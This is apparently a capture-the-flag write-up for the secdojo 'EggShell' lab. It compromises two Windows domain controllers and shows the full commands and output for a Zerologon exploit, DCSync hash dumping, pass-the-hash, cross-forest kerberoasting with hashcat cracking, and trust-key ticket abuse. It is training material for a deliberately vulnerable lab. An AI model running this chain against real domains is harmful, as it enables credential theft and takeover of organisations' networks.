Post

EggShell: an Easy Windows machine from secdojo

EggShell: an Easy Windows machine from secdojo
Easy Secdojo

Overview

A lab that tests your ability to identify and exploit known vulnerabilities in Windows Server environments. You will need to apply your skills in reconnaissance, enumeration, and lateral movement techniques to compromise the target Domain Controller and obtain sensitive information.

Reconnaissance

Note: This writeup moves quickly through reconnaissance. For a detailed breakdown of the recon methodology, see the Cascade writeup.

Network Stack

we have 2 machines, we have a linux machine at 10.8.0.100 and a domain controller 10.8.0.101. let’s run a basic nmap scan on both :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-03-30 21:46:59Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: caught.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds      Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: caught-local)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: caught.local, Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=Caught.caught.local
| Issuer: commonName=Caught.caught.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-29T21:40:44
| Not valid after:  2026-09-28T21:40:44
| MD5:     e276 7e48 c998 82a1 7d72 4d13 a085 dcf4
| SHA-1:   994e 7b15 4d3b 61af 13e4 2b93 ec85 c593 21e9 61dd
|_SHA-256: 9164 7ac7 4b2b 0bb3 5685 96ef 0b64 e34c 9768 65b1 8ee8 5326 5fec 8e9e efc9 05e8
|_ssl-date: 2026-03-30T21:48:21+00:00; 0s from scanner time.
| rdp-ntlm-info:
|   Target_Name: caught-local
|   NetBIOS_Domain_Name: caught-local
|   NetBIOS_Computer_Name: CAUGHT
|   DNS_Domain_Name: caught.local
|   DNS_Computer_Name: Caught.caught.local
|   DNS_Tree_Name: caught.local
|   Product_Version: 10.0.14393
|_  System_Time: 2026-03-30T21:48:13+00:00
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open  ssl/wsmans?
|_ssl-date: 2026-03-30T21:48:21+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=CAUGHT
| Subject Alternative Name: DNS:CAUGHT, DNS:Caught.caught.local
| Issuer: commonName=CAUGHT
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-05-26T14:09:42
| Not valid after:  2027-05-26T14:09:42
| MD5:     b3ce 1c02 4804 6fae 08df e06f 34db c8d9
| SHA-1:   5094 0644 3adf 8d8e 33ed 7f45 df75 f987 591d 5a5a
|_SHA-256: 0d09 80c9 9d74 fef7 3f7f 14ba 1624 8e9d f6a9 ff5e f15e a38b 1a39 8a26 2daf 31c7
| tls-alpn:
|   h2
|_  http/1.1

and :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
PORT     STATE SERVICE           VERSION
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-03-30 21:47:15Z)
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds      Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: LAB)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl?
3268/tcp open  ldap              Microsoft Windows Active Directory LDAP (Domain: lab.secdojo.local, Site: Default-First-Site-Name)
3269/tcp open  globalcatLDAPssl?
3389/tcp open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=srv-dc1.lab.secdojo.local
| Issuer: commonName=srv-dc1.lab.secdojo.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-03-29T21:40:48
| Not valid after:  2026-09-28T21:40:48
| MD5:     abec c865 d7ad 6736 eb76 31e4 58c0 befc
| SHA-1:   13cd 95a8 7125 fb9e a42e ef72 66fa b53d e12e debf
|_SHA-256: 861a 23cd a118 5199 d2d1 8a04 947c b44f 018b 609b 657f cad8 86c9 218d 68cb 5c8d
| rdp-ntlm-info:
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: SRV-DC1
|   DNS_Domain_Name: lab.secdojo.local
|   DNS_Computer_Name: srv-dc1.lab.secdojo.local
|   DNS_Tree_Name: lab.secdojo.local
|   Product_Version: 10.0.14393
|_  System_Time: 2026-03-30T21:48:25+00:00
|_ssl-date: 2026-03-30T21:49:01+00:00; +1s from scanner time.
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open  ssl/wsmans?
| ssl-cert: Subject: commonName=SRV-DC1
| Subject Alternative Name: DNS:SRV-DC1, DNS:srv-dc1.lab.secdojo.local
| Issuer: commonName=SRV-DC1
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-23T16:30:59
| Not valid after:  2023-07-23T16:30:59
| MD5:     a479 c6aa 2e17 6abc f32c 83f1 6f68 ef9a
| SHA-1:   13f7 fd4c f7e8 fc57 b219 1dbc 9f9a b271 1f3a 6777
|_SHA-256: cd7e eeb1 2fbc 1fb0 c5d6 c918 a829 eb1d 90e3 235b de5e 7f04 435d 5ed2 0a29 ef8c
| tls-alpn:
|   h2
|_  http/1.1
|_ssl-date: 2026-03-30T21:49:01+00:00; +1s from scanner time.
Warning: OSScan results may be unreliabl

nothing out of line, casual DCs here, but something caught my attention here, both are Windows Server 2016 Datacenter 14393, so there is a change zerologon may work on one of them, it’s a CVE that would allow an instant pwn of the DC if it’s vulnerable to it, no special privileges needed, we can check with nxc.

let’s add these to our hosts file first :

1
2
10.8.0.101     CAUGHT.caught.local caught.local CAUGHT
10.8.0.100     SRV-DC1.lab.secdojo.local lab.secdojo.local SRV-DC1

and with nxc :

1
2
3
4
5
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.100 -M zerologon
SMB         10.8.0.100      445    SRV-DC1          [*] Windows Server 2016 Datacenter 14393 x64 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:True) (SMBv1:True) (Null Auth:True)
ZEROLOGON   10.8.0.100      445    SRV-DC1          VULNERABLE
ZEROLOGON   10.8.0.100      445    SRV-DC1          Next step: https://github.com/dirkjanm/CVE-2020-1472

jackpot and an easy win!

Exploitation :

we first get the exploit and then run it :

1
git clone https://github.com/dirkjanm/CVE-2020-1472.git

and run it:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[/tmp/a/CVE-2020-1472]
└─$ python3 cve-2020-1472-exploit.py SRV-DC1 10.8.0.100
Performing authentication attempts...
===========================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

this took a while, now we just DCsync and dump the hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-secretsdump -no-pass SRV-DC1\$@10.8.0.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a6cf4e66d7fba60a999debe07bc31a5d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:164c2c62baca5631306fa88d1a603c8e:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\NGuillaume:1111:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\AFabre:1112:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab.secdojo.local\MRoger:1113:aad3b435b51404eeaad3b435b51404ee:58cd7d4dd5bd4960886ebc9cf1face6f:::
lab.secdojo.local\ACarpentier:1114:aad3b435b51404eeaad3b435b51404ee:52c8d886ffec5ffdcab4b87fe01c8c60:::
lab.secdojo.local\LFernandez:1115:aad3b435b51404eeaad3b435b51404ee:218dc58a57a6a7356391f7e9f011f148:::
lab.secdojo.local\NGaillard:1116:aad3b435b51404eeaad3b435b51404ee:bea555a433f01d87b3bd7ce996f30ee3:::

< SNIP >

well, these are a lot of users! now let’s get the first flag:

1
2
3
4
5
6
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.100 -u administrator -H a6cf4e66d7fba60a999debe07bc31a5d -x 'type C:\Users\Administrator\Desktop\proof.txt'
SMB         10.8.0.100      445    SRV-DC1          [*] Windows Server 2016 Datacenter 14393 x64 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.8.0.100      445    SRV-DC1          [+] lab.secdojo.local\administrator:a6cf4e66d7fba60a999debe07bc31a5d (Pwn3d!)
SMB         10.8.0.100      445    SRV-DC1          [+] Executed command via wmiexec
SMB         10.8.0.100      445    SRV-DC1          flag_4fb00c01_6915_4481_bdd1_66e24d9edf9e

Privilege Escalation

we have nothing to work with for the Caught host, but we have the dump from secretsdump let’s see if we’re lucky with any users in both domains, if not we’ll run bloodhound :

1
grep -oP '^[^:]+(?=:)' dump.txt | grep -v '^\[' | sed 's/.*\\//' | sort -u
  • grep -oP ‘^[^:]+(?=:)’ — extracts everything before the first : on each line (the username field)
  • grep -v ‘^[’ — drops lines like [*] Dumping Domain Credentials…
  • sed ‘s/.*\//’ — strips the domain\ prefix
  • sort -u — deduplicates and sorts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[/tmp/a]
└─$ wc -l users.txt
276 users.txt

┌──(kali㉿kali)-[/tmp/a]
└─$ cat users.txt|head
AAdam
AAdams
ABerlin
ABruch
ACarpentier
ACarr
Administrator
AEger
AFabre
AFaure

okay a dead end probably :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[/tmp/a]
└─$ kerbrute userenum --dc CAUGHT.caught.local --domain caught.local users.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 03/30/26 - Ronnie Flathers @ropnop

2026/03/30 22:08:41 >  Using KDC(s):
2026/03/30 22:08:41 >  	CAUGHT.caught.local:88

2026/03/30 22:08:42 >  [+] VALID USERNAME:	 Administrator@caught.local
2026/03/30 22:08:47 >  Done! Tested 276 usernames (1 valid) in 5.121 seconds

we collect now:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc ldap 10.8.0.100 -u administrator -H a6cf4e66d7fba60a999debe07bc31a5d -d lab.secdojo.local --bloodhound --dns-server 10.8.0.100 -c All
LDAP        10.8.0.100      389    SRV-DC1          [*] Windows 10 / Server 2016 Build 14393 (name:SRV-DC1) (domain:lab.secdojo.local) (signing:None) (channel binding:No TLS cert)
LDAP        10.8.0.100      389    SRV-DC1          [+] lab.secdojo.local\administrator:a6cf4e66d7fba60a999debe07bc31a5d (Pwn3d!)
LDAP        10.8.0.100      389    SRV-DC1          Resolved collection methods: rdp, group, objectprops, acl, localadmin, container, dcom, trusts, session, psremote
LDAP        10.8.0.100      389    SRV-DC1          Done in 0M 33S
LDAP        10.8.0.100      389    SRV-DC1          Compressing output into /home/kali/.nxc/logs/SRV-DC1_10.8.0.100_2026-03-30_222418_bloodhound.zip

Network Stack

okay so there is a cross-forest trust between caught.local and lab.secdojo.local, and it’s biderectional. i don’t remember if we have cover this in any writeup, but let’s have fun, the first thing I’d try if we can kerberoast any users in the caught.local domain :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-GetUserSPNs -request -dc-ip 10.8.0.100 -target-domain caught.local  lab.secdojo.local/administrator -hashes :a6cf4e66d7fba60a999debe07bc31a5d
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[!] KDC IP address and hostname will be ignored because of cross-domain targeting.
ServicePrincipalName   Name     MemberOf                                      PasswordLastSet             LastLogon  Delegation
---------------------  -------  --------------------------------------------  --------------------------  ---------  ----------
http/svc.caught.local  MainSvc  CN=Domain Admins,CN=Users,DC=caught,DC=local  2026-03-30 21:44:13.020599  <never>



[-] CCache file is not found. Skipping...
$krb5tgs$23$*MainSvc$CAUGHT.LOCAL$caught.local/MainSvc*$edd8f6510cf1b77d78c1201e3aefb439$9cdc5b881de5ec46d
<SNIP>

the attack was a success and we’ve got a hash to attempt cracking!

this didn’t crack using :

1
hashcat hash.txt /usr/share/wordlists/rockyou.txt

so next is :

1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

and now it cracks to : Password2010

now we have a user at caught.local, a powerful user :

1
2
3
4
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.101 -u MainSvc -p Password2010
SMB         10.8.0.101      445    CAUGHT           [*] Windows Server 2016 Datacenter 14393 x64 (name:CAUGHT) (domain:caught.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.8.0.101      445    CAUGHT           [+] caught.local\MainSvc:Password2010 (Pwn3d!)

and the flag:

1
2
3
4
5
6
┌──(kali㉿kali)-[/tmp/a]
└─$ nxc smb 10.8.0.101 -u MainSvc -p Password2010 -x 'type C:\Users\Administrator\Desktop\proof.txt'
SMB         10.8.0.101      445    CAUGHT           [*] Windows Server 2016 Datacenter 14393 x64 (name:CAUGHT) (domain:caught.local) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         10.8.0.101      445    CAUGHT           [+] caught.local\MainSvc:Password2010 (Pwn3d!)
SMB         10.8.0.101      445    CAUGHT           [+] Executed command via wmiexec
SMB         10.8.0.101      445    CAUGHT           flag_465d9174_83a6_490c_b17a_3460f0af8178

Beyond root :

even if the trust wasn’t biderectional we still could have pwned the caught.local domain, assume the trust was one way outbound from lab.secdojo.local to caught.local so users in caught.local can authenticate to lab.secdojo.local but not quite the opposite, let’s rdp, but first :

1
2
*Evil-WinRM* PS C:\Users\Administrator\Documents> reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
The operation completed successfully.

and rdp next :

1
xfreerdp /v:10.8.0.100 /u:administrator /pth:a6cf4e66d7fba60a999debe07bc31a5d

Network Stack

even though we don’t have a user in caught.local, there is the trust account, it’s treated as a member of the domain users in caught.local by default and we got the trust keys and hashes, these work only across kerberos, we can do this using Rubeus.exe or just from out kali:

1
2
3
4
5
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-getTGT caught.local/'LAB$' -hashes :1ba75bab165142abae6c7b25377956cc -dc-ip 10.8.0.101
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in LAB$.ccache

now that we got a ticket, let’s export it :

1
export KRB5CCNAME=/tmp/a/LAB\$.ccache

and we kerberoast as a regular user from caught.local would have done :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[/tmp/a]
└─$ impacket-GetUserSPNs caught.local/'LAB$' -no-pass -k -dc-ip 10.8.0.101 -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Getting machine hostname
ServicePrincipalName   Name     MemberOf                                      PasswordLastSet             LastLogon  Delegation
---------------------  -------  --------------------------------------------  --------------------------  ---------  ----------
http/svc.caught.local  MainSvc  CN=Domain Admins,CN=Users,DC=caught,DC=local  2026-03-30 21:44:13.020599  <never>



$krb5tgs$23$*MainSvc$CAUGHT.LOCAL$caught.local/MainSvc*$7f6ba08714fc9af42f1a955d967b2810$9e45
<SNIP>
2c52533dfb

with this we can also run bloodhound and enumerate the caught.local domain further.

there are many ways to solve this after all … till next time if there is a chance to showcase them.

This post is licensed under CC BY 4.0 by the author.